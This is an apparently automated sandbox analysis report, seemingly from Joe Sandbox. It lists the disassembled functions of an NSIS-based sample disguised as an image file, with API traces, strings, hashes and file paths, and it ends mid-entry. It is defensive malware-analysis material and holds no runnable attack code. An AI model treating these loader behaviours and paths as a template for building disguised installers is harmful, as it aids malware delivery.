FindFirstFileA.KERNELBASE(C:\Users\user\AppData\Local\Temp\nsb535E.tmp,?,?,?,0040A014,?,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,?,?,74DF3410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe"), ref: 00405AF8
FindNextFileA.KERNELBASE(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 00405BA5
FindClose.KERNELBASE(00000000), ref: 00405BB6

Strings

C:\Users\user\AppData\Local\Temp\nsb535E.tmp, xrefs: 00405AA8, 00405AAE, 00405ABF, 00405AF5
"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe", xrefs: 00405A58
\*.*, xrefs: 00405ABA
C:\Users\user\AppData\Local\Temp\, xrefs: 00405A5C

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nsb535E.tmp$\*.*
API String ID: 2035342205-3955254049
Opcode ID: 78f2e0e18cb785759574f080630192df6ebe3391163db671d7f5c390f5c48f83
Instruction ID: da8d20c05f1c1589987c6f576fa29bd8846dab181693994c0c241c39a5f8a394
Opcode Fuzzy Hash: 78f2e0e18cb785759574f080630192df6ebe3391163db671d7f5c390f5c48f83
Instruction Fuzzy Hash: 3051C030904A04BADB21AB618C85FAF7AB8EF42754F14417FF445B11D2C77C6982DEAE

Function 00406620 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(74DF3410,0042BCD8,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,00405D50,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,74DF3410,?,C:\Users\user\AppData\Local\Temp\,00405A6F,?,74DF3410,C:\Users\user\AppData\Local\Temp\), ref: 0040662B
FindClose.KERNELBASE(00000000), ref: 00406637

Strings

C:\Users\user\AppData\Local\Temp\nsb535E.tmp, xrefs: 00406620

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\Users\user\AppData\Local\Temp\nsb535E.tmp
API String ID: 2295610775-3133259053
Opcode ID: 5cd1aebe143dc129e49842c5f71a26c727f8c2dbc53d2570feaf901eef8a8c0e
Instruction ID: 21071efbed15a2f64541de492f8ee2fd881da0b051754d52d90be6cd238fbd17
Opcode Fuzzy Hash: 5cd1aebe143dc129e49842c5f71a26c727f8c2dbc53d2570feaf901eef8a8c0e
Instruction Fuzzy Hash: 08D012355490205BC64017396F0C85BBA599F163717118E37F8A6F12E0CB758C7296DC

Function 00403E33 Relevance: 61.6, APIs: 34, Strings: 1, Instructions: 357
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403E6F
ShowWindow.USER32(?), ref: 00403E8F
GetWindowLongA.USER32(?,000000F0), ref: 00403EA1
ShowWindow.USER32(?,00000004), ref: 00403EBA
DestroyWindow.USER32 ref: 00403ECE
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403EE7
GetDlgItem.USER32(?,?), ref: 00403F06
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403F1A
IsWindowEnabled.USER32(00000000), ref: 00403F21
GetDlgItem.USER32(?,00000001), ref: 00403FCC
GetDlgItem.USER32(?,00000002), ref: 00403FD6
SetClassLongA.USER32(?,000000F2,?), ref: 00403FF0
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00404041
GetDlgItem.USER32(?,00000003), ref: 004040E7
ShowWindow.USER32(00000000,?), ref: 00404108
KiUserCallbackDispatcher.NTDLL(?,?), ref: 0040411A
EnableWindow.USER32(?,?), ref: 00404135
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 0040414B
EnableMenuItem.USER32(00000000), ref: 00404152
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 0040416A
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 0040417D
lstrlenA.KERNEL32(0042A488,?,0042A488,00000000), ref: 004041A7
SetWindowTextA.USER32(?,0042A488), ref: 004041B6
ShowWindow.USER32(?,0000000A), ref: 004042EA

Strings

Click Next to continue., xrefs: 004040B0

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Window$Item$MessageSendShow$Long$EnableMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: Click Next to continue.
API String ID: 121052019-3768601390
Opcode ID: 6d7623d9db7cd4b2b8523d1bb3db3e3d74f302aff2fe3ff677a931fada95a4e0
Instruction ID: 7c61018aff81ba8050a36ffdf8d01ac8e149416bf37329b2a87c27abd1a4edd3
Opcode Fuzzy Hash: 6d7623d9db7cd4b2b8523d1bb3db3e3d74f302aff2fe3ff677a931fada95a4e0
Instruction Fuzzy Hash: 60C1F4B1600205ABD7206F61EE49E2B3BBCEB85749F51053EF681B11F1CB799842DB2D

Function 00403A96 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004066B5: GetModuleHandleA.KERNEL32(?,00000000,?,0040351A,0000000C), ref: 004066C7
Part of subcall function 004066B5: GetProcAddress.KERNEL32(00000000,?), ref: 004066E2

lstrcatA.KERNEL32(1033,0042A488,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042A488,00000000,00000002,74DF3410,C:\Users\user\AppData\Local\Temp\,?,"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe",0000000A,0000000C), ref: 00403B11
lstrlenA.KERNEL32(0042DFC0,?,?,?,0042DFC0,00000000,C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate,1033,0042A488,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042A488,00000000,00000002,74DF3410), ref: 00403B86
lstrcmpiA.KERNEL32(?,.exe), ref: 00403B99
GetFileAttributesA.KERNEL32(0042DFC0,?,"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe",0000000A,0000000C), ref: 00403BA4
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate), ref: 00403BED

Part of subcall function 004061EB: wsprintfA.USER32 ref: 004061F8

RegisterClassA.USER32(0042E7C0), ref: 00403C2A
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00403C42
CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403C77
ShowWindow.USER32(00000005,00000000,?,"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe",0000000A,0000000C), ref: 00403CAD
GetClassInfoA.USER32(00000000,RichEdit20A,0042E7C0), ref: 00403CD9
GetClassInfoA.USER32(00000000,RichEdit,0042E7C0), ref: 00403CE6
RegisterClassA.USER32(0042E7C0), ref: 00403CEF
DialogBoxParamA.USER32(?,00000000,00403E33,00000000), ref: 00403D0E

Strings

RichEd32, xrefs: 00403CC1
_Nb, xrefs: 00403C09, 00403C71
"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe", xrefs: 00403A99
.exe, xrefs: 00403B93
C:\Users\user\AppData\Local\Temp\, xrefs: 00403A9B
1033, xrefs: 00403AB6, 00403B0C
RichEd20, xrefs: 00403CB3
RichEdit20A, xrefs: 00403CD1, 00403CD7
.DEFAULT\Control Panel\International, xrefs: 00403AFC
C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate, xrefs: 00403B20, 00403B28, 00403BC0, 00403BC6, 00403BD6
Control Panel\Desktop\ResourceLocale, xrefs: 00403ACA
RichEdit, xrefs: 00403CE0

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 1975747703-3756021822
Opcode ID: 9de4ba4982955c39501ca71976a9485f8cd52ade1bb06ecee508862ffe36d889
Instruction ID: 062707365540321fd28ddc31094d52b8ee002564e62880c3064c6a51a35bf8f0
Opcode Fuzzy Hash: 9de4ba4982955c39501ca71976a9485f8cd52ade1bb06ecee508862ffe36d889
Instruction Fuzzy Hash: 1A61B4706442006EE620BF629D46F273ABCEB44B49F44443FF945B62E2DB7D99068A3D

Function 00402F31 Relevance: 28.2, APIs: 5, Strings: 11, Instructions: 181
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402F42
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe,00000400,?,?,00403722,?,?,00000008,0000000A,0000000C), ref: 00402F5E

Part of subcall function 00405E20: GetFileAttributesA.KERNELBASE(00000003,00402F71,C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe,80000000,00000003,?,?,00403722,?,?,00000008,0000000A,0000000C), ref: 00405E24
Part of subcall function 00405E20: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00403722,?,?,00000008,0000000A,0000000C), ref: 00405E46

GetFileSize.KERNEL32(00000000,00000000,IMG635673567357735773573757875883587935775753Bjlkeloftet.exe,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe,C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe,80000000,00000003,?,?,00403722,?,?,00000008), ref: 00402FAA
GlobalAlloc.KERNELBASE(00000040,00000008,?,?,00403722,?,?,00000008,0000000A,0000000C), ref: 004030E0

Strings

Error launching installer, xrefs: 00402F81
8TA, xrefs: 00402FBF
"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe", xrefs: 00402F37
IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, xrefs: 00402F9E
C:\Users\user\AppData\Local\Temp\, xrefs: 00402F38
Null, xrefs: 00403028
C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe, xrefs: 00402F48, 00402F57, 00402F6B, 00402F8B
Inst, xrefs: 00403016
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00403107
soft, xrefs: 0040301F
C:\Users\user\Desktop, xrefs: 00402F8C, 00402F91, 00402F97

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe"$8TA$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe$Error launching installer$IMG635673567357735773573757875883587935775753Bjlkeloftet.exe$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 2803837635-4264440587
Opcode ID: 0471a428ad8d14c201eb1a2d05761fa305cb24827ec1de9291aed20d949dc82a
Instruction ID: 36ae42bb95036f4d014ef15fc9cddc9856debb4c315f30e11e88dada5eb0dcac
Opcode Fuzzy Hash: 0471a428ad8d14c201eb1a2d05761fa305cb24827ec1de9291aed20d949dc82a
Instruction Fuzzy Hash: 6C510531A01214ABDB209F64DE85B9E7EBCEB0435AF60403BF504B62D2C77C9E418B6D

Function 00406320 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 208
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(0042DFC0,00000400), ref: 00406452
GetWindowsDirectoryA.KERNEL32(0042DFC0,00000400,?,Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,00000000,00405409,Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,00000000,00000000), ref: 00406468
SHGetPathFromIDListA.SHELL32(00000000,0042DFC0,?,T@,00000007,?,Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,00000000,00405409,Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,00000000), ref: 004064C7
CoTaskMemFree.OLE32(00000000,?,T@,00000007,?,Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,00000000,00405409,Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,00000000), ref: 004064D0
lstrcatA.KERNEL32(0042DFC0,\Microsoft\Internet Explorer\Quick Launch,?,Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,00000000,00405409,Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,00000000), ref: 004064F4
lstrlenA.KERNEL32(0042DFC0,?,Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,00000000,00405409,Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,00000000,00000000,00424440,74DF23A0), ref: 00406546

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00406423
T@, xrefs: 0040647E, 0040649E, 004064B5
Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll, xrefs: 0040634F
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004064EE

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Directory$FreeFromListPathSystemTaskWindowslstrcatlstrlen
String ID: T@$Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 4024019347-1635558900
Opcode ID: d0ff790806609fa8110423ddf0d31832cd3c7fba7b22f484d1795f71742cc0e8
Instruction ID: dd0baf6a3bef4ec2da884e75bd50347be15db8678cbe9dcd308fcfbafd937b9a
Opcode Fuzzy Hash: d0ff790806609fa8110423ddf0d31832cd3c7fba7b22f484d1795f71742cc0e8
Instruction Fuzzy Hash: 1361F371900210AADB219F24DD85B7E7BA4AB05714F12813FF807B62C1C67D8966DB9D

Function 0040177E Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatA.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate,00000000,00000000,00000031), ref: 004017BD
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate,00000000,00000000,00000031), ref: 004017E7

Part of subcall function 0040628D: lstrcpynA.KERNEL32(0000000C,0000000C,00000400,0040357B,0042E820,NSIS Error,?,00000008,0000000A,0000000C), ref: 0040629A

Part of subcall function 004053D1: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,00000000,00424440,74DF23A0,?,?,?,?,?,?,?,?,?,004032C3,00000000,?), ref: 0040540A
Part of subcall function 004053D1: lstrlenA.KERNEL32(004032C3,Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,00000000,00424440,74DF23A0,?,?,?,?,?,?,?,?,?,004032C3,00000000), ref: 0040541A
Part of subcall function 004053D1: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,004032C3,004032C3,Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,00000000,00424440,74DF23A0), ref: 0040542D
Part of subcall function 004053D1: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll), ref: 0040543F
Part of subcall function 004053D1: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405465
Part of subcall function 004053D1: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 0040547F
Part of subcall function 004053D1: SendMessageA.USER32(?,00001013,?,00000000), ref: 0040548D

Strings

Call, xrefs: 0040179A, 004017B0, 004017C2, 004017D3, 00401809, 0040181F, 0040183D, 0040187D, 004018FE, 00401907, 00401911, 0040191C
C:\Users\user\AppData\Local\Temp\nsv507D.tmp, xrefs: 004017C8, 00401837, 00401855
C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate, xrefs: 004017AB
C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll, xrefs: 0040184B, 00401867

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Temp\nsv507D.tmp$C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll$C:\Users\user\AppData\Roaming\chlorenchyma\Regenerate$Call
API String ID: 1941528284-524360879
Opcode ID: 0acf61fd71f3edde6b321a3403c7c5eac4b41d6d52f200133c1c8b0501db61a2
Instruction ID: a1f186b67c4edeb34fad59b9cedf70daa635d1c2101920768012b0df21243cfe
Opcode Fuzzy Hash: 0acf61fd71f3edde6b321a3403c7c5eac4b41d6d52f200133c1c8b0501db61a2
Instruction Fuzzy Hash: 6041C331900515BBCB107BA5CD46EAF3A78DF05328F20823FF526F11E2D67C8A519AAD

Function 004053D1 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,00000000,00424440,74DF23A0,?,?,?,?,?,?,?,?,?,004032C3,00000000,?), ref: 0040540A
lstrlenA.KERNEL32(004032C3,Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,00000000,00424440,74DF23A0,?,?,?,?,?,?,?,?,?,004032C3,00000000), ref: 0040541A
lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,004032C3,004032C3,Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,00000000,00424440,74DF23A0), ref: 0040542D
SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll), ref: 0040543F
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405465
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 0040547F
SendMessageA.USER32(?,00001013,?,00000000), ref: 0040548D

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll, xrefs: 004053F1, 00405403, 00405409, 0040542C, 00405438

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID: Skipped: C:\Users\user\AppData\Local\Temp\nsv507D.tmp\System.dll
API String ID: 2531174081-1451998560
Opcode ID: 04eedc2ba923f0a8d7eb9848a27cab945aaff25bd16a1fb9afb004099d42d10e
Instruction ID: 7fccb86dafa480228006d80d04b82b7e1b017f67e9930a1aa42837d262fd4390
Opcode Fuzzy Hash: 04eedc2ba923f0a8d7eb9848a27cab945aaff25bd16a1fb9afb004099d42d10e
Instruction Fuzzy Hash: 81218971900118BBDF11AFA5CD85ADEBFA9EB05354F14807AF944B6291C6788E81CFA8

Function 00403168 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004031CF
GetTickCount.KERNEL32 ref: 00403276
MulDiv.KERNEL32(7FFFFFFF,00000064,00000008), ref: 0040329F
wsprintfA.USER32 ref: 004032AF

Strings

... %d%%, xrefs: 004032A9
@DB, xrefs: 00403253, 0040326E, 004032E5

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%$@DB
API String ID: 551687249-1316549817
Opcode ID: bbbdf68c611b1039cd3d8d859c56e524a634e556e3416af6923e642436e137c0
Instruction ID: 381bea1cd078569db79acba847b1f3aad866332683383cfda6df38e9538e1e3d
Opcode Fuzzy Hash: bbbdf68c611b1039cd3d8d859c56e524a634e556e3416af6923e642436e137c0
Instruction Fuzzy Hash: 91513D71800219EBDB10DF65DA84B9E7BB8EB5535AF14417BEC00B72D0CB789A50CBA9

Function 00406647 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

